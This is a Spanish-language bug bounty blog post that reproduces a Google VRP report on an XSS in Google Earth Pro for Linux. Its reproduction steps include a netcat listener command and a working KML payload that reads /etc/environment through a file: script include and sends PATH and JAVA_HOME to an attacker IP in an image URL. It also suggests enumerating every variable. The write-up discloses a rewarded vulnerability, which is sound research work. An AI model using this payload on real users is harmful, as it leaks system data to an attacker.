BUG BOUNTY EN ESPAÑOL – GOOGLE VRP: VARIABLES DE ENTORNO DE LINUX EXFILTRADAS EN APLICACIÓN DE GOOGLE EARTH PRO – $1,337 DLLS


Introducción:

Hola a todos. Ha pasado un tiempo desde mi última publicación, pero estoy de regreso. Quiero contarles una historia muy breve sobre uno de mis últimos errores y cómo logré exfiltrar las variables locales de /etc/environment en la aplicación de escritorio de Google Earth Pro en Linux.

Si estás interesado en reportes 100% reales de Bug Bounty, por favor mira mi libro Bug Bounty en Español


Extraído del informe de Google VRP: (el informe real de Google VRP)

Resumen: Variables locales de archivo /etc/enviroment exfiltradas en la aplicación de escritorio Linux Google Earth Pro

Pasos para reproducir:

1.- Descarga e instala la última aplicación Google Earth Pro Desktop para macOS (7.3.3.7786 64-bit / .deb)

2.- Pon tu servidor atacante a la escucha en cualquier puerto con netcat, en mi caso el puerto 80:

 localh0st:~ user$ sudo nc -l -p 80

3.- Abre el archivo adjunto etc_environment.kml y modifica la parte donde está CDATA y pon tu IP del servidor atacante y guárdalo. (extracto de ese archivo y código XSS real):

<Placemark>                                                                        <name>placemark</name><description>                                                                                  <![CDATA[                                                                                           <script src=file:../../../../../../../etc/environment></script>                                                                                            <script>                                                                                    document.write('XSS fired :-)<br>');                                                                       document.write('Location: ' + location.href + '<br>');                                       document.write('<br>PATH var = ' + PATH);                                          document.write('<br>JAVA_HOME var = ' + JAVA_HOME);                                                                   document.write('<img src=http://192.168.0.11/?path=' + PATH + '&java_home=' + JAVA_HOME + '>'); </script>                                                                                               ]]></description>


4.- Simplemente abre el archivo etc_environment.kml con un doble clic, una vez que vea el polígono rojo, haga clic en él para ver la descripción y el XSS se disparará, contiene las variables del archivo de sistema /etc/environment y las enviaría al servidor atacante

5.- Bingo.

Explicación: dado que podemos inyectar código HTML/js aleatorio, podemos “importar” archivos con la etiqueta de script, por ejemplo “<script src=file:///../../../../etc/enviroment></script>”, por lo que si el archivo tiene el formato js correcto, el navegador cargará cualquier contenido.

Ya que el formato común de /etc/environment es:

PATH="/usr/local/sbin:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin" 
JAVA_HOME="/opt/jre/bin"


Esto en realidad se cargaría porque esas variables tienen el mismo formato que las variables de javascript ;-), además, dado que cualquier variable de entorno de Linux es tan predecible, podemos aplicar fuerza bruta a los nombres de variables más comunes y enviarlas al servidor atacante.


ACTUALIZACIÓN: También podrías exfiltrar todas las variables del archivo /etc/environment ya que “Object.keys(window)” cargaría cualquier variable declarada en el DOM (referencia de stack overflow)

Escenario de Ataque:

Cualquier atacante puede leer variables arbitrarias de /etc/environment en Linux en la aplicación Google Earth Pro Desktop a través de un XSS.

Cronología del Reporte:

• 23 de agosto de 2021: “Nice catch”, fallo aceptado (P4 → P3)
• 23 de agosto de 2021: Recibí un mensaje de Google de que el fallo no era un fallo, y que era un comportamiento esperado.
• 01 de septiembre de 2021: Envié un mensaje de aclaración y luego el problema se envió de nuevo a revisión.
• 09 de septiembre de 2021: Recompensa de $1,337 dlls.
• 03 de octubre de 2021: Recibí un mensaje de Google de que el informe de problemas se cerró sin proporcionar una solución (el estado “no se solucionará”) ¡¿Qué?! jajaja.

Bueno, eso es todo, si tienes alguna duda, comentario o sugerencia escríbeme aquí o en Twitter @omespino, nos leemos luego.

Deja un comentario

Tu dirección de correo electrónico no será publicada.